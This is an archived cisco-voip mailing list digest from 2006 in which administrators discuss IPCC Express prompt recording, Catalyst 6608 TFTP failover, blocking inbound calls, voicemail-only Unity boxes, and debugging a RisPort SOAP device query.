On 1/19/06, Nick Kassel <Nick.Kassel at charles-stanley.co.uk > wrote:

I am new to IPCC Express and I now have it set up in our lab, using the
basic icd.aef script, what I would like to do though is record my own
play prompt and amend the script to play this. I cannot see how to
record my own prompt though, how is this done do I record it through a
handset or do I need a microphone or similar.

 

 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.


_______________________________________________
cisco-voip mailing list
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https://puck.nether.net/mailman/listinfo/cisco-voip






-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 

________________________________

This message, including any attachments is intended only for the persons
or entity to which it is addressed, and may contain privileged or
confidential information. Retransmission, dissemination, copying,
distribution, modification and / or publication of this message by a
person other than the intended recipient is strictly prohibited by the
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From Eric.A.Fretz at L-3com.com  Wed Feb  1 10:19:56 2006
From: Eric.A.Fretz at L-3com.com (Fretz, EA Eric @ IS)
Date: Wed Feb  1 10:21:32 2006
Subject: [cisco-voip] Catalyst 6608 T1 module
Message-ID: <51A2C3ED40A3584281444F65BC9026270A8845F4@gvlexch02.gvl.is.l-3com.com>

You'd still have the failure mode where if you DHCP server chokes and the
6608 resets, you'd get no statically assigned DHCP address.  
 
You'd be better off hanging your TFTP server off of a pair of clustered
servers (or load balanced, at least) and not worry about handling the
failover in the 6608 card.
 
 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Matt Slaga (US)
Sent: Tuesday, January 31, 2006 4:19 PM
To: Philip Walenta; Mendoza, Anthony R; Cisco VoIP
Subject: RE: [cisco-voip] Catalyst 6608 T1 module


Use DHCP to push two TFTP servers, but use DHCP reservations to obtain your
"static" address.
 
 
  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Tuesday, January 31, 2006 5:14 PM
To: 'Mendoza, Anthony R'; 'Cisco VoIP'
Subject: RE: [cisco-voip] Catalyst 6608 T1 module


To my knowledge, the 6608 has never supported multiple TFTP servers.


  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mendoza, Anthony R
Sent: Tuesday, January 31, 2006 4:03 PM
To: Cisco VoIP
Subject: [cisco-voip] Catalyst 6608 T1 module


All,
 
Is there a way to assign multiple TFTP servers in a config on a 6608 when
running CatOS and not using DHCP?  I find when I'm going a static IP
configuration that I can only assign a single TFTP server which doesn't give
me much failover in a situation where I lose a CCM and for some reason the
device resets (such as a power outage).  I'd be forced to go re-configure it
in order to receive it's configuration.  Any way around that hassle?
 
Thanks,
-Anthony



  _____  




Disclaimer:

This e-mail communication and any attachments may contain confidential
and privileged information and is for use by the designated
addressee(s) named above only. If you are not the intended addressee,
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From rratliff at cisco.com  Wed Feb  1 10:21:40 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Wed Feb  1 10:21:35 2006
Subject: [cisco-voip] Block Incoming Calls
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01BC2D0F@MREXVS01.bc.broward.cty>
References: <26B357EF9FB7D04A989C9E82A9E5436E01BC2D0F@MREXVS01.bc.broward.cty>
Message-ID: <5FD8D972-DB07-4CCC-854A-98AD5A5812AC@cisco.com>

You can do it at the router with a translation or you could do it via  
Unity call routing rule or IPCC script.  CM itself cannot route based  
on calling party.

-Ryan

On Feb 1, 2006, at 10:17 AM, Ortiz, Carlos wrote:

Is there an easy way to block INBOUND calls based on the calling  
number? I imagine I could set this up with the telco but I would  
prefer to do it if possible?..

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



From Nick.Kassel at Charles-Stanley.co.uk  Wed Feb  1 10:25:50 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Wed Feb  1 10:26:01 2006
Subject: [cisco-voip] IPCC Express - Record a Play Prompt
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC6481C4@CSEXCH01.charles-stanley.co.uk>

As we do not have a unified messaging version of Unity, how can I get a
copy of the wav file message from the unity server.

 

________________________________

From: Zack Zilakakis (zzilakak) [mailto:zzilakak at cisco.com] 
Sent: Wednesday, February 01, 2006 3:21 PM
To: Nesen Kisten; Ed Leatherman; Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] IPCC Express - Record a Play Prompt

 

Hello,

 

I'd recommend a UNITY mailbox to record the prompts then upload them
from the Exchange/Unity server to the ICD server.  This will alot
clearer.

 

Thanks.

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Nesen Kisten
Sent: Wednesday, February 01, 2006 1:54 AM
To: Ed Leatherman; Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] IPCC Express - Record a Play Prompt

HI,

 

You can record your own prompt with a mic, but remember to change your
wav file from PCM to u-law g711, you probably need an audio converter if
you don't have one already.

 

Regards

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ed Leatherman
Sent: Thursday, January 19, 2006 6:05 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] IPCC Express - Record a Play Prompt

 

I believe there is a script you can set up that will let you record up
to 10 prompts on the IPCC system directly. We used one in training to
record some prompts, but i'm a little fuzzy on where it came from. So
you'd probably just set up a trigger/application etc to use for it while
you need it and point it at that script. I'm working on getting a test
system setup now for our own use, if I can locate it i'll pass it along.
Might be one of the built in ones.

On 1/19/06, Nick Kassel <Nick.Kassel at charles-stanley.co.uk > wrote:

I am new to IPCC Express and I now have it set up in our lab, using the
basic icd.aef script, what I would like to do though is record my own
play prompt and amend the script to play this. I cannot see how to
record my own prompt though, how is this done do I record it through a
handset or do I need a microphone or similar.

 

 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip




-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 

________________________________

This message, including any attachments is intended only for the persons
or entity to which it is addressed, and may contain privileged or
confidential information. Retransmission, dissemination, copying,
distribution, modification and / or publication of this message by a
person other than the intended recipient is strictly prohibited by the
sender. If you have received this message in error, or you feel it is
unacceptable communication, a chain letter or offensive material of any
nature, please delete the material and any copies from all systems and
report it to:

info at kss.co.za

________________________________

 

***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
replying to or any action taken or omitted to be taken in reliance on this
e-mail, is prohibited and may be unlawful. Please contact the sender immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that there
may be a delay in processing the instructions received from e-mails after
Charles Stanley has received them. You are advised that urgent, time sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by McAfee
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From james.dust at charles-stanley.co.uk  Wed Feb  1 10:26:09 2006
From: james.dust at charles-stanley.co.uk (James Dust)
Date: Wed Feb  1 10:26:20 2006
Subject: [cisco-voip] Block Incoming Calls
Message-ID: <FDEEDC07A7DA6E41BCB819487E7C85AE6D688A@CSEXCH01.charles-stanley.co.uk>

You could try setting up a 'voice translation-rule' on the gateway, and
then set it to reject the number.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: 01 February 2006 15:18
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Block Incoming Calls



Is there an easy way to block INBOUND calls based on the calling number?
I imagine I could set this up with the telco but I would prefer to do it
if possible.....  

***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
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and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
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************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
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From Brian.Henry at apptis.com  Wed Feb  1 10:29:11 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Wed Feb  1 10:29:15 2006
Subject: [cisco-voip] Voice Mail only Boxes
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC05B853@CH-EXCH-02.intelltech.apptis.inc>

Why do not you look into unity connections, I know its pretty new and like any new product has issues but will meet your needs.
Brian
--------------------------
Sent from my BlackBerry Wireless Handheld
 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
To: Voll, Scott
CC: cisco-voip at puck.nether.net
Sent: Wed Feb 01 09:17:44 2006
Subject: RE: [cisco-voip] Voice Mail only Boxes

I talked to my account team and it doesn't seem possible yet on the
Unity Box.  I did however come up with another idea that my SE said
should be fine.  I think I am going to buy a CUE module and install it
on a 3725 at HQ.  Then I can provide VM only mailboxes (crisis, after
hours)where needed.  This would also help with providing mailboxes to
non employees if they need it (auditors, contractors). 



-----Original Message-----
From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Tuesday, January 31, 2006 4:54 PM
To: Ortiz, Carlos
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Voice Mail only Boxes

Preach it brother!!!!!!!!!!!!!!!!!


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: Tuesday, January 31, 2006 8:57 AM
To: Ryan Ratliff
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Voice Mail only Boxes

Yes, but with a VM only system the accounts are local to the Unity Box
correct?  I am basically wondering if there is a way to exploit that to
serve this purpose. I understand that the VM only requires a different
local setup, but it would be nice if this would be addressed because
quite frankly UM is not needed for every VM box. If you could have a 100
of these "service" type mailboxes it would be nice.  It wasn't a big
deal at first, but we probably have about 12-15 of these accounts now.
We are currently about 15-20% IPT so I see this number rising as IPT
expansion continues....

Carlos

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com] 
Sent: Tuesday, January 31, 2006 11:49 AM
To: Ortiz, Carlos
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Voice Mail only Boxes

Remember even with a non UM system you still have an AD Account and  
mailbox for each subscriber.  The only real difference between  
voicemail only and UM is whether the user gets email in the same  
mailbox that they get voicemail.

Unity does have a thing called internet subscriber.   This is  
basically an email address that Unity will forward all voicemails  
to.  An internet subscriber cannot listen to VMs via the TUI (afaik)  
and do not count against the subscriber license count.

-Ryan

On Jan 31, 2006, at 11:12 AM, Ortiz, Carlos wrote:

We have a Unity 4.05 Unified Messaging system.  I frequently have the  
need to create Voice Mail only boxes (After hours, Crisis, etc).   Is  
there anyway to do this without create an AD/Exchange user?



Carlos

_______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip

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From CORTIZ at broward.org  Wed Feb  1 10:30:22 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Wed Feb  1 10:30:31 2006
Subject: [cisco-voip] Block Incoming Calls
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2D12@MREXVS01.bc.broward.cty>

I have MGCP gateways.  I imagine this refers to H.323.....

 

________________________________

From: James Dust [mailto:james.dust at charles-stanley.co.uk] 
Sent: Wednesday, February 01, 2006 10:26 AM
To: Ortiz, Carlos; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Block Incoming Calls

 

You could try setting up a 'voice translation-rule' on the gateway, and
then set it to reject the number.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: 01 February 2006 15:18
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Block Incoming Calls

Is there an easy way to block INBOUND calls based on the calling number?
I imagine I could set this up with the telco but I would prefer to do it
if possible.....  

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

 

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From CORTIZ at broward.org  Wed Feb  1 10:31:50 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Wed Feb  1 10:31:59 2006
Subject: [cisco-voip] Voice Mail only Boxes
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2D13@MREXVS01.bc.broward.cty>

Another possibility but I would think its more money than CUE.  I 'll
check it out.....

 

________________________________

From: Brian Henry [mailto:Brian.Henry at apptis.com] 
Sent: Wednesday, February 01, 2006 10:29 AM
To: Ortiz, Carlos; Scott.Voll at wesd.org
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Voice Mail only Boxes

 

Why do not you look into unity connections, I know its pretty new and
like any new product has issues but will meet your needs.
Brian
--------------------------
Sent from my BlackBerry Wireless Handheld


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
To: Voll, Scott
CC: cisco-voip at puck.nether.net
Sent: Wed Feb 01 09:17:44 2006
Subject: RE: [cisco-voip] Voice Mail only Boxes

I talked to my account team and it doesn't seem possible yet on the
Unity Box.  I did however come up with another idea that my SE said
should be fine.  I think I am going to buy a CUE module and install it
on a 3725 at HQ.  Then I can provide VM only mailboxes (crisis, after
hours)where needed.  This would also help with providing mailboxes to
non employees if they need it (auditors, contractors).



-----Original Message-----
From: Voll, Scott [mailto:Scott.Voll at wesd.org]
Sent: Tuesday, January 31, 2006 4:54 PM
To: Ortiz, Carlos
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Voice Mail only Boxes

Preach it brother!!!!!!!!!!!!!!!!!


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: Tuesday, January 31, 2006 8:57 AM
To: Ryan Ratliff
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Voice Mail only Boxes

Yes, but with a VM only system the accounts are local to the Unity Box
correct?  I am basically wondering if there is a way to exploit that to
serve this purpose. I understand that the VM only requires a different
local setup, but it would be nice if this would be addressed because
quite frankly UM is not needed for every VM box. If you could have a 100
of these "service" type mailboxes it would be nice.  It wasn't a big
deal at first, but we probably have about 12-15 of these accounts now.
We are currently about 15-20% IPT so I see this number rising as IPT
expansion continues....

Carlos

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com]
Sent: Tuesday, January 31, 2006 11:49 AM
To: Ortiz, Carlos
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Voice Mail only Boxes

Remember even with a non UM system you still have an AD Account and 
mailbox for each subscriber.  The only real difference between 
voicemail only and UM is whether the user gets email in the same 
mailbox that they get voicemail.

Unity does have a thing called internet subscriber.   This is 
basically an email address that Unity will forward all voicemails 
to.  An internet subscriber cannot listen to VMs via the TUI (afaik) 
and do not count against the subscriber license count.

-Ryan

On Jan 31, 2006, at 11:12 AM, Ortiz, Carlos wrote:

We have a Unity 4.05 Unified Messaging system.  I frequently have the 
need to create Voice Mail only boxes (After hours, Crisis, etc).   Is 
there anyway to do this without create an AD/Exchange user?



Carlos

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From Anthony.Mendoza at ca.com  Wed Feb  1 10:32:34 2006
From: Anthony.Mendoza at ca.com (Mendoza, Anthony R)
Date: Wed Feb  1 10:32:44 2006
Subject: [cisco-voip] Catalyst 6608 T1 module
Message-ID: <1AF386D5BB98C240A1876235AA12867632BCB2@USILMS13.ca.com>

That's what I thought :( someone had an idea for a clustered TFTP server
config..  that's an idea, but doesn't give me dual sites to be able to
grab from.  Oh well.

Thanks for all the suggestions.

-Anthony
-----Original Message-----
From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Tuesday, January 31, 2006 10:42 PM
To: Mendoza, Anthony R
Cc: Cisco VoIP
Subject: Re: [cisco-voip] Catalyst 6608 T1 module

not possible with static config.  CSCea68405.
only option is DHCP.

/Wes

On Jan 31, 2006, at 5:03 PM, Mendoza, Anthony R wrote:

All,
 
Is there a way to assign multiple TFTP servers in a config on a 6608
when running CatOS and not using DHCP?  I find when I'm going a static
IP configuration that I can only assign a single TFTP server which
doesn't give me much failover in a situation where I lose a CCM and for
some reason the device resets (such as a power outage).  I'd be forced
to go re-configure it in order to receive it's configuration.  Any way
around that hassle?
 
Thanks,
-Anthony
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



From scall at metreos.com  Wed Feb  1 10:32:39 2006
From: scall at metreos.com (Seth Call)
Date: Wed Feb  1 10:32:47 2006
Subject: [cisco-voip] Retrieving device information from CISCO
Message-ID: <6EE053013F00084096AF0F02CFDB88B85245C0@securemail.metreos.com>

Hey there Andrea,

I believe the problem is:

SOAPAction:
"http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevices"

Should be 

SOAPAction:
"http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevice"


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Andrea Cerioli
Sent: Wednesday, February 01, 2006 9:01 AM
To: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Retrieving device information from CISCO

Thanks to Alex for the code.
Unfortunately it is not working for us.
Our Callmanager is 4.1(3).

See below our version of the AXL query and the response.
The error is:
"Operation name in body entry is not consistent with the
  one specified in SOAPAction"

Removing the header "Connection: close" the query lasts forever.


What am I missing?

Query
================================

POST /soap/astsvc.dll HTTP/1.1
Host: 10.89.5.2
User-Agent: Mozilla/4.0
Content-Type: text/xml; charset=utf-8
SOAPAction:
"http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevices"
Authorization: Basic =============================
Content-Length: 1514
Expect: 100-continue
Connection: close



<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://schemas.cisco.com/ast/soap/"
xmlns:types="http://schemas.cisco.com/ast/soap/encodedTypes"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
     <soap:Header>
          <tns:AstHeader id="id1">
               <SessionId
xsi:type="xsd:string">10.89.5.2-20060201020721</SessionId>
          </tns:AstHeader>
     </soap:Header>
     <soap:Body
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
          <tns:SelectCmDevice>
               <CmSelectionCriteria href="#id1"/>
          </tns:SelectCmDevice>
          <tns:CmSelectionCriteria id="id1"
xsi:type="tns:CmSelectionCriteria">
               <MaxReturnedDevices
xsi:type="xsd:unsignedInt">10</MaxReturnedDevices>
               <Class xsi:type="tns:DeviceClass">Phone</Class>
               <Model xsi:type="xsd:unsignedInt">0</Model>
               <Status xsi:type="tns:CmDevRegStat">Any</Status>
               <SelectBy xsi:type="tns:CmSelectBy">Name</SelectBy>
               <SelectItems href="#id2"/>
          </tns:CmSelectionCriteria>
          <soapenc:Array id="id2" soapenc:arrayType="tns:SelectItem[1]">
               <Item href="#id3"/>
          </soapenc:Array>
          <tns:SelectItem id="id3" xsi:type="tns:SelectItem">
               <Item xsi:type="xsd:string">SEP000D29CEC9A0</Item>
          </tns:SelectItem>
     </soap:Body>
</soap:Envelope>



Response:
================================

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Wed, 01 Feb 2006 14:05:32 GMT

HTTP/1.1 500 ERROR
Server: Microsoft-IIS/5.0
Date: Wed, 01 Feb 2006 14:05:32 GMT
Connection: close
X-Application: XXX
Expires: Sat, 1 Jan 2000 00:00:01 GMT
Cache-Control: No-Cache
Pragma: No-Cache
Connection: Keep-Alive
Content-Type: text/xml; charset="utf-8"
Content-Length: 1002

<?xml version="1.0" encoding="UTF-8" standalone="no"?><SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Bod
y><SOAP-ENV:Fault><faultcode>SOAP-ENV:Client</faultcode><faultstring>Ope
ration
name in body entry is not consistent with the one specified in
SOAPAction
header</faultstring><detail><m:ErrorInfo
xmlns:m="http://schemas.cisco.com/ast/soap/"><Version>3.2.0.7</Version><
Time>02/01/2006
-
15:05:32</Time><ProcId>2016</ProcId><ThreadId>1928</ThreadId><ArrayOfCal
lInfo
SOAP-ENC:arrayType='m:CallInfoType[]'><CallInfo><FileName>D:\Builds\ESBU
ILD_4.1.3.sr.2\ccm_sw\Projects\AST\ISAPI\server\soap\service\astsvc\asts
vc.cpp</FileName><LineNo>422</LineNo><ErrorCode>0</ErrorCode><Function>l
strcmp</Function><Params>SelectCmDevice</Params></CallInfo></ArrayOfCall
Info></m:ErrorInfo></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:
Envelope>




_______________________________________________
cisco-voip mailing list
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https://puck.nether.net/mailman/listinfo/cisco-voip



From james.dust at charles-stanley.co.uk  Wed Feb  1 10:33:46 2006
From: james.dust at charles-stanley.co.uk (James Dust)
Date: Wed Feb  1 10:33:58 2006
Subject: [cisco-voip] Block Incoming Calls
Message-ID: <FDEEDC07A7DA6E41BCB819487E7C85AE6D688C@CSEXCH01.charles-stanley.co.uk>

Correct.

________________________________

From: Ortiz, Carlos [mailto:CORTIZ at broward.org] 
Sent: 01 February 2006 15:30
To: James Dust; cisco-voip at puck.nether.net
Cc: rratliff at cisco.com
Subject: RE: [cisco-voip] Block Incoming Calls



I have MGCP gateways.  I imagine this refers to H.323.....

 

________________________________

From: James Dust [mailto:james.dust at charles-stanley.co.uk] 
Sent: Wednesday, February 01, 2006 10:26 AM
To: Ortiz, Carlos; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Block Incoming Calls

 

You could try setting up a 'voice translation-rule' on the gateway, and
then set it to reject the number.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: 01 February 2006 15:18
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Block Incoming Calls

Is there an easy way to block INBOUND calls based on the calling number?
I imagine I could set this up with the telco but I would prefer to do it
if possible.....  

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

 

***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
replying to or any action taken or omitted to be taken in reliance on this
e-mail, is prohibited and may be unlawful. Please contact the sender immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that there
may be a delay in processing the instructions received from e-mails after
Charles Stanley has received them. You are advised that urgent, time sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by McAfee
VirusScan and SurfControl Email Filter software.
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From Michael_Davis at eLoyalty.com  Wed Feb  1 10:37:01 2006
From: Michael_Davis at eLoyalty.com (Davis, Michael)
Date: Wed Feb  1 10:37:16 2006
Subject: [cisco-voip] Catalyst 6608 T1 module
Message-ID: <037594FB5AFC354FA38653EB3FF3242105A8E432@elhqex01.eloyaltyco.com>

How about Anycast?
 
